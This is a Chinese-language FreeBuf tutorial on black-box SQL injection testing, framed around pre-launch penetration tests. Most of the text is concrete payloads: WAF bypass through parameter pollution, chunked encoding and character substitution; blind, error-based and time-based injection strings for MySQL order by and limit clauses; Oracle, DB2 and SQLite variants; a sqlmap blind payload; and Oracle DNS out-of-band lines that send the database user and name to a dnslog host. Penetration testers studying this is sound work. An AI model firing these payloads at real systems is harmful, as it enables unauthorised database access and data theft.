freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

黑盒sql注入测试进阶篇
2023-11-28 19:34:14

前言

本文主要讲述黑盒SQL注入测试思路,像一些注入原理语句就不去细说了,了解怎么测试就可以,因为现在遇到的都是无错误回显的注入,所以下面基本上都是用盲注还有绕waf思路来进行测试,像已经上线的系统有注入的很少,但是在给客户做系统上线前渗透测试的时候还是会发现很多的

思路

数据溢出

插入大量垃圾数据或者多个参数来进行绕过

参数污染

这个只在做系统上线前测试的时候遇到过,就是waf还有web服务器处理多个相同参数时的逻辑不一样,有的获取第一个有的获取第二个,有的全部获取。

例如某个注入点id=1,uesr()函数被过滤掉了,这样构造id=us&id=er()来进行绕过

各种编码

服务器可以识别,但是waf无法识别,例如IBM加密,二次编码,base64编码等,这个需要自己去测试

修改请求方式

POST改为GET,http改为https

修改请求包改为上传文件的数据包来构造畸形数据包

请求url添加js白名单文件等等

分块传输

例如id=1存在注入
id=1'union select 1,2,3会被拦截,我们可以修改为
id=1'uni
1d
on sel
ect 1,2,3

插入各种特殊符号

单行注释 -- # 例如id=1'union--%0a1--%0aselect--%0a1
各种空白符 %00 \u0007 %80 [0x09,0x0a-0x0d,0x20,0xa0] 等等
各种转移字符等等

字符绕过

等价替换的思路,下面是比较常用的,其他情况可以自行百度

空格

/**/ + %20 %0a %00 %a0 () "" %0d

逗号

union select 1,2,3等同于union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)%23
substr((select database()),1,2) 可以写成 substr((select database()) from 1 for 2)

or   and

and = &&、or = ||、xor = |、not = !

注释符

用两个单引号去闭合后面的,例如id=-1'or+'a'='a'+or+'a'='a #-1为假,第二个or后面结果为假,我们只要控制中间的结果来进行注入

延时

benchmark(count,expr)   让expr执行count次来进行延时

盲注

字符串截取函数:
substring() substr() mid() length() left() right() insert() trim()
字符串连接函数:
concat(str1,str2) #函数用于连续两个或多个字符串(也可以是列),形成一个字符串
group_concat(str1,str2) #连接str1,str2,如果有多行结果用逗号分割
编码转换函数:
ascii() ord() bin() hex()
数据库报错函数:
exp(777) cot(0) pow(99999,999999)
判断函数:
if(1=1,1,1)
case when 1=1 then 1 else 2 end
其他函数:
greatest (n1, n2, n3…) #返回 n 中的最大值 least (n1,n2,n3…)同上返回最小值
strcmp (str1,str2):若所有的字符串均相同,则返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

例如:id = 1 and strcmp(ascii(substr(username,1,1)),117)
in:id = 1 and substr(user(),1,1) in ('r') #表示查询user()中id = 1的行的第一个字符是否为r
insert():
SELECT insert((insert(目标字符串,1,截取的位数,'')),2,9999999,''); #这里截取的位数从0开始数

函数有很多,总有没禁用的

注入语句

报错函数:
floor extractvalue updatexml
当前用户:
user()
current_user() system_user()
session_user()
当前数据库:
database()
schema()
路径查询:
@@basedir ——mysql安装路径
@@slave_load_tampdir ——临时文件夹路径
@@datadir ——数据存储路径
@@character_sets_dir ——字符集设置文件路径
@@log_error ——错误日志文件路径
@@pid_file ——pid-file文件路径

order by注入

原理特征

order by这个语句的意思是排序,一般java网站遇到的比较多,原理就是order by后面跟的是字段名字,无法进行预编译,发生注入的概率比较大,但是后面无法用联合查询,只能用盲注或者报错注入,在前端的参数特征一般为orderby、sort=id(字段名)desc(排序方式,默认为asc升序),前端功能点就像下面这样

1701154728_65658fa83d12d359240bd.png!small?1701154729649

测试过程

1.将参数修改为一个比较大的数字来进行一个简单判断,比如参数改为10000,如果回显了错误页面,那么基本可以确定这里有注入了,例如原本参数为sort=id,desc修改为sort=1000

2.添加不同的字段,根据返回页面的大小来判断,例如原本为sort=id,修改为sort=name,页面明显发生变化

3.使用if或者case when语句来进行进一步判断,注数据

这里要注意一下闭合方式,有的需要用括号去闭合
if(1=1,id,name) #当条件为真时按照id排序,为假时按照name排序
if(1=1,sleep(3),1)#当条件为真时发生延迟,为假时正常
if(1=1,cot(0),id)#当条件为真时发生报错,为假时正常
case when 1=1 then id else name end #当条件为真时按照id排序,为假时按照name排序
case when 1=1 then 1/0 else name end #当条件为真时报错,为假时按照name排序
大概思路就是这样,注数据就把语句替换就可以了
case when ascii(mid(user(),1,1))=11 then 1/0 else name end #遍历11 来判断user第一位
利用报错
regexp updatexml extractvalue 等函数
基本上没遇到过,好像低版本才可以,有兴趣可以自己去了解

limit 注入

格式:
limit m,n
--m是记录开始的位置,n是取n条数据
limit 0,1
--从第一条开始,取一条数据

(适用于5.0.0<mysql<5.6.6的版本)

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT (注入点)

确认有注入点前面有 order by 关键字,是没法用union 的,在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的

报错注入

?id=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1); 

时间型盲注

直接使用sleep不行,需要用BENCHMARK代替

?id=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x7e,(IF(MID(database(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

Oracle和DB2等数据库

特点

具体可以查看这篇文章,写的比较详细https://xz.aliyun.com/t/7897

特殊的几个表
dual表:是一个虚拟的表,用来构成select的语法规则,oracle保证dual里面永远只有一条记录
user_tables表:该表的table_name列存放着当前数据库的所有表
user_tab_columns表:该表的column_name 存放着表的所有列
1.Oracle查询需要带上表名
如select * from xxx (有一个万能的表:dual表)。
2.单行子查询返回多行需使用 where rownum=1来规范
• rownum 是伪序列数,总是从1开始。
• oracle数据库从数据文件或缓冲区中读取数据的顺序。
• 它取得第一条记录则rownum值为1,第二条为2,依次类推。
例如
mysql 一般select 1,2,3,4 我们要用null来代替
select null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),null from dual --
select table_name from user_tables where rownum=1 来爆出所有表
select column_name from user_tab_columns where table_name='tablename' and rownum=1 来爆字段
sqlmap中的盲注payload
case when SUBSTR((SELECT COALESCE(RTRIM(CAST(tabname AS CHAR(254))),CHR(32)) FROM (SELECT ROW_NUMBER() OVER () AS CAP,tabname FROM sysstat.tables WHERE tabschema=CHR(80)||CHR(67)||CHR(82)||CHR(77)||CHR(32)||CHR(32)||CHR(32)||CHR(32)) AS qq WHERE CAP=INT(CHR(49))),1,1)=CHR(69) then 1 else 1/0 end

延时函数

DBMS_PIPE.RECEIVE_MESSAGE()

例如 id=1存在注入
id=1'/**/AND/**/DBMS_PIPE.RECEIVE_MESSAGE('a',4)='a 将会延时4秒,这里尽量用and不用or,用or的话如果后面有很多or的话会延迟很久

判断函数

没有if函数,一般用case when函数或者下面的函数
decode(a,b,c,d) #当a等于b则返回c否则返回d
decode(mid(user,1,1),a,cot(0),1)#当user第一位等于a的时候就会报错
instr(str,substr) #返回substr在str中出现的第一个位置
假如id=1为注入点那么可以
id=1'and 1=(instr((select user from dual),'S')) 这将返回S在user出现的位置,没有就返回0,假如确定S出现在了user里,我们就可以通过遍历迭代来进行注入,分别遍历S前后是什么字符,直到完全匹配

管道符 |

在mysql中||为and,在orcale和db2中为字符串连接符号,可以理解为强制执行函数
例如id=a为注入点 可以这样写 id=a'|cot(0)|'
会发生数据库报错
注数据使用上面decode函数即可
id=a'|decode(user,a,cot(0),2)|'

数据外带

查询用户名
and (select utl_inaddr.get_host_address((select user from dual)||'.dnslog地址') from dual)is not null --
查询库名
and (select utl_inaddr.get_host_address((select name from v$database)||'.dnslog地址') from dual)is not null --

DB2

在DB2中的schema的概念和ORACLE中的概念有着本质的区别:在ORACLE中schema和用户是同一个;在DB2中schema不一定是用户,因为db2内部没有用户的概念,连接用户必须是操作系统用户.

爆表可以使用的表可以是syscat.tables,也可以是syscat.columns、sysibm.columns表
例如
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 1,1
或者
id=-1 union select 1,table_name,column_name,4 from sysibm.columns where table_schema=current schema limit 1,1

爆列的话

可以使用的表可以是syscat.columns,也可以是sysibm.columns表

SQLite

数据库版本:select sqlite_version()
获取所有表名:SELECT name FROM sqlite_master WHERE type='table'
所有表结构(包含字段名,表名): SELECT sql FROM sqlite_master WHERE type='table'
注释符 --
盲注常用函数:substr()(没有mid、left等函数),判断长度函数length()

盲注没有sleep函数,但有个函数randomblob(N),生成N个任意字符,可以造成延时

也没有if函数,可以用case when函数替代

总结

学的比较少,可能会有一些错误,很多思路技巧可以结合来用,来构造自己的payload进行fuzz测试,有好的想法可以私我交流

# 渗透测试 # 网络安全 # web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录